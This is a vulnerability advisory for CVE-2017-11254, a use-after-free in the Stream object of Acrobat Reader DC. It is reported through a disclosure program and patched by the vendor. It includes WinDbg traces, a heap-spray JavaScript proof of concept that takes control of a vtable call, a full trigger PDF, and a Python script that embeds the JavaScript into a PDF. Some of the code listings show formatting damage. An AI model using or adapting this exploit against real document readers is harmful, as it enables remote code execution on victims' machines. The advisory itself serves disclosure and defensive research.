

# SSD Advisory – Acrobat Reader DC – Stream Object Remote Code Execution

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## Vulnerability Summary

The following advisory describes a use after free vulnerability that leads to remote code execution found in Acrobat Reader DC version 2017.009.20044.

## Credit

A security researcher from, Siberas, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

## Vendor response

The vendor has released patches to address this vulnerability.

For more information: <http://www.adobe.com/devnet-docs/acrobatetk/tools/ReleaseNotes/DC/dccontinuousaug2017.html#dccontinuousaugusttwentyseventeen>

CVE: CVE-2017-11254

## Vulnerability details

Adobe Reader DC, are affected by a Use After Free vulnerability. The vulnerability occurs due to a Stream object being dereferenced after it has been destroyed. The re-use of the freed object directly leads to a controllable vtable call. By controlling the vtable we can execute arbitrary code in the sandboxed *AcroRd32.exe* process.

The vtable pointer is read from offset 0x18 of the freed object:

```
1  (2ae4.3b20): Access violation - code c0000005 (!!! second chance !!!)
2  eax=08981638 ebx=006fc6f8 ecx=deadc0c6 edx=00000016 esi=08a9aeb8 edi=08c7b628
3  eip=5f0ed95d esp=006fb6a8 ebp=006fb6ac iopl=0      nv up ei pl nz na po nc
4  cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b      efl=00010202
5  AcroRd32_5f080000+0x6d95d:
6  5f0ed95d ff5118      call  dword ptr [ecx+18h]  ds:002b:deadc0de=?????????
7
8  0:000> dd eax-8
9  08d018e0 aaaaaaaaaaaaaaaaaaaaaaaa // we deref offset 0x18 of the Stream object
10 08d018f0 aaaaaaaaaaaaaaaaa deadc0c6 eeeeeeee // at offset 0x18 we find 0xdeadc0c6
11 // 0xdeadc0c6 + 0x18 == 0xdeadc0de
12 08d01900 eeeeeeee eeeeeeee eeeeeeee
13 08d01910 eeeeeeee eeeeeeee eeeeeeee
```

The Javascript code which triggers the vulnerable code path is:

```

1  function somefunc(){}
2
3  function obj1_read()
4  {
5    log("[obj1_read], get read property");
6    globarr.push(allocs(0x200, 0x88, basestring)); // [3]
7    return undefined;
8  }
9
10 function obj1_write()
11 {
12  log("[obj1_write], get write property");
13  return somefunc;
14 }
15
16 function obj2_read()
17 {
18  log("[obj2_read], get read property");
19  return undefined;
20 }
21
22 function obj2_write()
23 {
24  log("[obj2_write], get write property");
25  return somefunc;
26 }
27
28 obj1 = new Object(); // [1]
29 obj1.__defineGetter__("read", obj1_read);
30 obj1.__defineGetter__("write", obj1_write);
31 obj2 = new Object();
32 obj2.__defineGetter__("read", obj2_read);
33 obj2.__defineGetter__("write", obj2_write);
34
35 app.alert("crash @ 0xdeadc0de");
36 this.addAnnot( { "name" : obj1, "rect" : obj2, "type" : "Highlight"}); // [2]

```

At [1] we create two objects with defined getter-methods for the “read” and “write” properties. These two objects are passed as parameters to the native function “*this.addAnnot*” at [2].

During *addAnnot* the objects are checked for the “read” and “write” properties. If we return a valid function (in this case “somefunc”) for the “write” properties and “undefined” for the “read” properties, we trigger a Use-After-Free vulnerability.

Acrobat Reader DC initializes a temporary Stream object because the “write” property returns a valid function and destroys it immediately afterwards since “read” returns undefined. Due to the fact that a reference to the destroyed Stream object stays intact, we can reference the Stream object again after it has been freed.

There are further callbacks between the destruction and the re-use of the object which gives us the chance to re-allocate the freed buffer with controlled content (at [3]) and execute a controlled vtable call as soon as the Stream object is dereferenced again.

In order to debug the vulnerability, we will set the following breakpoints in Reader:

---

```

1 bp EScript+0x137ca3 ".printf \"log: %mu\\r\\n\", poi(poi(poi(esp+c)+10)+4); g"    // log breakpoint
2 bp AcroRd32.dll+0x111351 ".printf \"created Stream object @ 0x%x\\r\\n\", eax; g"    // Stream object constructor
3 bp AcroRd32.dll+0x116ABE ".printf \"destroy Stream object @ 0x%x\\r\\n\", esi; g"    // Stream object destructor

```

Debugging poc.pdf with Windbg and the breakpoints from above will give you following output:

```

1 0:012> bp EScript+0x137ca3 ".printf \"log: %mu\\r\\n\", poi(poi(poi(esp+c)+10)+4); g"
2 0:012> bp AcroRd32.dll+0x111351 ".printf \"created Stream object @ 0x%x\\r\\n\", eax; g"
3 0:012> bp AcroRd32.dll+0x116ABE ".printf \"destroy Stream object @ 0x%x\\r\\n\", esi; g"
4
5 0:012> g
6 log: [obj1_read], get read property
7 log: [obj1_write], get write property
8 created Stream object @ 0x826fbb0
9 log: [obj2_read], get read property
10 log: [obj2_write], get write property
11 created Stream object @ 0x826f100 // [1]
12 log: [obj2_read], get read property
13 destroy Stream object @ 0x826f100 // [2]
14 log: [obj1_read], get read property
15 destroy Stream object @ 0x826fbb0
16
17 (3f44.20b0): Access violation - code c0000005 (first chance)
18 First chance exceptions are reported before any exception handling.
19 This exception may be expected and handled.
20 eax=09025940 ebx=00f0c8b0 ecx=deadc0c6 edx=00000016 esi=093094f8 edi=07666460
21 eip=5f5ed95d esp=00f0b860 ebp=00f0b864 iopl=0      nv up ei pl nz na po nc
22 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b      efl=00010202
23 AcroRd32_5f580000!AcroWinMainSandbox+0x1e4d5:
24
25 5f5ed95d ff5118      call  dword ptr [ecx+18h]  ds:002b:deadc0de=????????? [3]
26
27 0:000> dd eax-8
28 0826f100 aaaaaaaa aaaaaaaa aaaaaaaa aaaaaaaa
29 0826f110 aaaaaaaa aaaaaaaa deadc0c6 eeeeeeee
30 0826f120 eeeeeeee eeeeeeee eeeeeeee eeeeeeee
31 0826f130 eeeeeeee eeeeeeee eeeeeeee eeeeeeee

```

---

In the debug log we can identify the allocation [1], destruction [2] and re-use [3] of the Stream object and the controlled vtable call at address *0xdead0cde*.

## Proof of Concept

### PoC.pdf

```

1  %PDF-1.1
2
3
4  1 0 obj
5  <<
6  /Type /Catalog

```

```
7 /Outlines 2 0 R
8 /Pages 3 0 R
9 /OpenAction 7 0 R
10 >>
11 endobj
12
13 2 0 obj
14 <<
15 /Type /Outlines
16 /Count 0
17 >>
18 endobj
19
20 3 0 obj
21 <<
22 /Type /Pages
23 /Kids [4 0 R]
24 /Count 1
25 >>
26 endobj
27
28 4 0 obj
29 <<
30 /Type /Page
31 /Parent 3 0 R
32 /MediaBox [0 0 612 792]
33 /Contents 5 0 R
34 /Resources <<
35 /ProcSet [/PDF /Text]
36 /Font << /F1 6 0 R >>
37 >>
38 >>
39 endobj
40
41 5 0 obj
42 << /Length 56 >>
43 stream
44 BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
45 endstream
46 endobj
47
48 6 0 obj
49 <<
50 /Type /Font
51 /Subtype /Type1
52 /Name /F1
53 /BaseFont /Helvetica
54 /Encoding /MacRomanEncoding
55 >>
56 endobj
57
```

```
58 7 0 obj
59 <-
60 /Type /Action
61 /S /JavaScript
62 /JS (
63 console.show();
64 function log(s) {
65 console.println("-> " + s.toString());
66 Math.atan(s.toString());
67 }
68
69 function ptr2str(ptr)
70 {
71 /*
72 in: pointer
73 out: 2-char string which represents this pointer on the heap
74 */
75 p1 = (((ptr >> 24) >>> 0) & 0xff).toString(16);
76 if(p1.length == 1) p1 = "0" + p1;
77 p2 = ((ptr >> 16) & 0xff).toString(16);
78 if(p2.length == 1) p2 = "0" + p2;
79 p3 = ((ptr >> 8) & 0xff).toString(16);
80 if(p3.length == 1) p3 = "0" + p3;
81 p4 = (ptr & 0xff).toString(16);
82 if(p4.length == 1) p4 = "0" + p4;
83 return eval("unescape('%u" + p3+p4 + "%u" + p1+p2 + "')");
84 }
85
86 basestring =
87 unescape("%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa")
88 + ptr2str(0xdeadc0de - 0x18);
89 while(basestring.length < 0x100) basestring += unescape("%ueeee");
90
91 function allocs(count, size, basestring)
92 {
93 arr = [];
94 for(var i=0; i < count; i++) arr.push(basestring.substr(0, (size - 2) / 2).toUpperCase());
95 return arr;
96 }
97
98 globarr = [];
99
100 function somefunc(){}
101
102 function obj1_read()
103 {
104 log("[obj1_read], get read property");
105 globarr.push(allocs(0x200, 0x88, basestring));
106 return undefined;
107 }
108 }
```

```
109 function obj1_write()
110 {
111 log("[obj1_write], get write property");
112 return somefunc;
113 }
114
115 function obj2_read()
116 {
117 log("[obj2_read], get read property");
118 return undefined;
119 }
120
121 function obj2_write()
122 {
123 log("[obj2_write], get write property");
124 return somefunc;
125 }
126
127 obj1 = new Object();
128 obj1.__defineGetter__("read", obj1_read);
129 obj1.__defineGetter__("write", obj1_write);
130 obj2 = new Object();
131 obj2.__defineGetter__("read", obj2_read);
132 obj2.__defineGetter__("write", obj2_write);
133
134 app.alert("crash @ 0xdeadc0de");
135 this.addAnnot( { "name" : obj1, "rect" : obj2, "type" : "Highlight" });
136 app.alert("no crash!");
137
138 )
139 >>
140 endobj
141
142 xref
143 0 8
144 0000000000 65535 f
145 0000000012 00000 n
146 0000000109 00000 n
147 0000000165 00000 n
148 0000000234 00000 n
149 0000000412 00000 n
150 0000000526 00000 n
151 0000000650 00000 n
152 trailer
153 <<
154 /Size 8
155 /Root 1 0 R
156 >>
157 startxref
2504
%%EOF
```

PoC.js

```
1  console.show();
2  function log(s) {
3    console.println("-> " + s.toString());
4    Math.atan(s.toString());
5  }
6
7  function ptr2str(ptr)
8  {
9    /*
10   in: pointer
11   out: 2-char string which represents this pointer on the heap
12  */
13  p1 = (((ptr >> 24) >>> 0) & 0xff).toString(16);
14  if(p1.length == 1) p1 = "0" + p1;
15  p2 = ((ptr >> 16) & 0xff).toString(16);
16  if(p2.length == 1) p2 = "0" + p2;
17  p3 = ((ptr >> 8) & 0xff).toString(16);
18  if(p3.length == 1) p3 = "0" + p3;
19  p4 = (ptr & 0xff).toString(16);
20  if(p4.length == 1) p4 = "0" + p4;
21  return eval("unescape('%u" + p3+p4 + "%u" + p1+p2 + "')");
22 }
23
24 basestring =
25 unescape("%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa")
26 + ptr2str(0xdeadc0de - 0x18);
27 while(basestring.length < 0x100) basestring += unescape("%ueeee");
28
29 function allocs(count, size, basestring)
30 {
31 arr = [];
32 for(var i=0; i < count; i++) arr.push(basestring.substr(0, (size - 2) / 2).toUpperCase());
33 return arr;
34 }
35
36 globarr = [];
37
38 function somefunc(){}
39
40 function obj1_read()
41 {
42 log("[obj1_read], get read property");
43 globarr.push(allocs(0x200, 0x88, basestring));
44 return undefined;
45 }
46
47 function obj1_write()
48 {
49 log("[obj1_write], get write property");
```

```
50 return somefunc;
51 }
52
53 function obj2_read()
54 {
55 log("[obj2_read], get read property");
56 return undefined;
57 }
58
59 function obj2_write()
60 {
61 log("[obj2_write], get write property");
62 return somefunc;
63 }
64
65 obj1 = new Object();
66 obj1.__defineGetter__("read", obj1_read);
67 obj1.__defineGetter__("write", obj1_write);
68 obj2 = new Object();
69 obj2.__defineGetter__("read", obj2_read);
70 obj2.__defineGetter__("write", obj2_write);
71
72 app.alert("crash @ 0xdeadc0de");
    this.addAnnot( { "name" : obj1, "rect" : obj2, "type" : "Highlight"});
    app.alert("no crash!");
```

---

setjs.py

```
1  #!/usr/bin/python
2
3
4  import sys
5  import zlib
6  import platform
7
8  def SplitByLength(input, length):
9    result = []
10   while len(input) > length:
11     result.append(input[0:length] + '\n')
12     input = input[length:]
13   result.append(input + '>')
14   return result
15
16 class cPDF:
17   def __init__(self, filename):
18     self.filename = filename
19     self.indirectObjects = {}
20   def appendString(self, str):
21     fPDF = open(self.filename, 'a')
22     fPDF.write(str)
23     fPDF.close()
```

```
24
25 def appendBinary(self, str):
26     fPDF = open(self.filename, 'ab')
27     if sys.version_info[0] == 2:
28         fPDF.write(str)
29     else:
30         fPDF.write(bytes(str, 'ascii'))
31     fPDF.close()
32
33 def filesize(self):
34     fPDF = open(self.filename, 'rb')
35     fPDF.seek(0, 2)
36     size = fPDF.tell()
37     fPDF.close()
38     return size
39 def IsWindows(self):
40     return platform.system() in ('Windows', 'Microsoft')
41 def header(self, version='1.1'):
42     fPDF = open(self.filename, 'w')
43     fPDF.write('%%PDF-%s\n' % version)
44     fPDF.close()
45
46 def binary(self):
47     self.appendString("%\xD0\xD0\xD0\xD0\n")
48
49 def comment(self, comment):
50     self.appendString('%' + comment + '\n')
51
52 def indirectobject(self, index, version, io):
53     self.appendString("\n")
54     self.indirectObjects[index] = self.filesize()
55     self.appendString("%d %d obj\n%s\nendobj\n" % (index, version, io))
56
57 def stream(self, index, version, streamdata, dictionary="<< /Length %d >>"):
58     self.appendString("\n")
59     self.indirectObjects[index] = self.filesize()
60     self.appendString("%d %d obj\n" + dictionary + "\nstream\n" % (index, version, len(streamdata)))
61     self.appendBinary(streamdata)
62     self.appendString("\nendstream\nendobj\n")
63
64 def Data2HexStr(self, data):
65     hex = ""
66     if sys.version_info[0] == 2:
67         for b in data:
68             hex += "%02x" % ord(b)
69     else:
70         for b in data:
71             hex += "%02x" % b
72     return hex
73
74 def stream2(self, index, version, streamdata, entries="", filters=""):
```

```
75     encodeddata = streamdata
76     filter = []
77     for i in filters:
78         if i.lower() == "h":
79             encodeddata = self.Data2HexStr(encodeddata) + '>'
80         if i == "h":
81             filter.insert(0, "/ASCIIHexDecode")
82         else:
83             filter.insert(0, "/AHx")
84         elif i.lower() == "i":
85             encodeddata = ".join(SplitByLength(self.Data2HexStr(encodeddata), 512))"
86         if i == "i":
87             filter.insert(0, "/ASCIIHexDecode")
88         else:
89             filter.insert(0, "/AHx")
90         elif i.lower() == "f":
91             encodeddata = zlib.compress(encodeddata)
92         if i == "f":
93             filter.insert(0, "/FlateDecode")
94         else:
95             filter.insert(0, "/Fl")
96         else:
97             print("Error")
98     return
99     self.appendString("\n")
100    self.indirectObjects[index] = self.filesize()
101    self.appendString("%d %d obj\n<<\n /Length %d\n" % (index, version, len(encodeddata)))
102    if len(filter) == 1:
103        self.appendString(" /Filter %s\n" % filter[0])
104    if len(filter) > 1:
105        self.appendString(" /Filter [%s]\n" % ''.join(filter))
106    if entries != "":
107        self.appendString(" %s\n" % entries)
108        self.appendString(">>\nstream\n")
109    if filters[-1].lower() == 'i':
110        self.appendString(encodeddata)
111    else:
112        self.appendBinary(encodeddata)
113        self.appendString("\nendstream\nendobj\n")
114
115    def xref(self):
116        self.appendString("\n")
117        startxref = self.filesize()
118        max = 0
119        for i in self.indirectObjects.keys():
120            if i > max:
121                max = i
122            self.appendString("xref\n0 %d\n" % (max+1))
123            if self.IsWindows():
124                eol = '\n'
125            else:
```

```
126 eol = '\n'
127 for i in range(0, max+1):
128     if i in self.indirectObjects:
129         self.appendString("%010d %05d n%s" % (self.indirectObjects[i], 0, eol))
130     else:
131         self.appendString("0000000000 65535 f%s" % eol)
132 return (startxref, (max+1))
133
134 def trailer(self, startxref, size, root, info=None):
135     if info == None:
136         self.appendString("trailer\n<<\n /Size %d\n /Root %s\n>>\nstartxref\n%d\n%%EOF\n" % (size, root,
137             startxref))
138     else:
139         self.appendString("trailer\n<<\n /Size %d\n /Root %s\n /Info %s\n>>\nstartxref\n%d\n%%EOF\n" % (size,
140             root, info, startxref))
141
142 def xrefAndTrailer(self, root, info=None):
143     xrefdata = self.xref()
144     self.trailer(xrefdata[0], xrefdata[1], root, info)
145
146 def template1(self):
147     self.indirectobject(1, 0, "<<\n /Type /Catalog\n /Outlines 2 0 R\n /Pages 3 0 R\n>>")
148     self.indirectobject(2, 0, "<<\n /Type /Outlines\n /Count 0\n>>")
149     self.indirectobject(3, 0, "<<\n /Type /Pages\n /Kids [4 0 R]\n /Count 1\n>>")
150     self.indirectobject(4, 0, "<<\n /Type /Page\n /Parent 3 0 R\n /MediaBox [0 0 612 792]\n /Contents 5 0 R\n
151 /Resources <<\n /ProcSet [/PDF /Text]\n /Font << /F1 6 0 R >>\n >>\n>>")
152     self.indirectobject(6, 0, "<<\n /Type /Font\n /Subtype /Type1\n /Name /F1\n /BaseFont /Helvetica\n /Encoding
153 /MacRomanEncoding\n>>")
154
155 if __name__ == '__main__':
156     js = open(sys.argv[1]).read()
157     outpdf = sys.argv[2]
158     print "writing %d bytes of js to %s" % (len(js), outpdf)
159     oPDF = cPDF(outpdf)
160     oPDF.header()
161     oPDF.indirectobject(1, 0, '<<\n /Type /Catalog\n /Outlines 2 0 R\n /Pages 3 0 R\n /OpenAction 7 0 R\n>>')
162     oPDF.indirectobject(2, 0, '<<\n /Type /Outlines\n /Count 0\n>>')
163     oPDF.indirectobject(3, 0, '<<\n /Type /Pages\n /Kids [4 0 R]\n /Count 1\n>>')
164     oPDF.indirectobject(4, 0, '<<\n /Type /Page\n /Parent 3 0 R\n /MediaBox [0 0 612 792]\n /Contents 5 0 R\n
165 /Resources <<\n /ProcSet [/PDF /Text]\n /Font << /F1 6 0 R >>\n >>\n>>')
166     oPDF.stream(5, 0, 'BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET')
167     oPDF.indirectobject(6, 0, '<<\n /Type /Font\n /Subtype /Type1\n /Name /F1\n /BaseFont /Helvetica\n /Encoding
168 /MacRomanEncoding\n>>')
169     oPDF.indirectobject(7, 0, '<<\n /Type /Action\n /S /JavaScript\n /JS (%s)\n>>' % js)
     oPDF.xrefAndTrailer('1 0 R')
     print "done."
```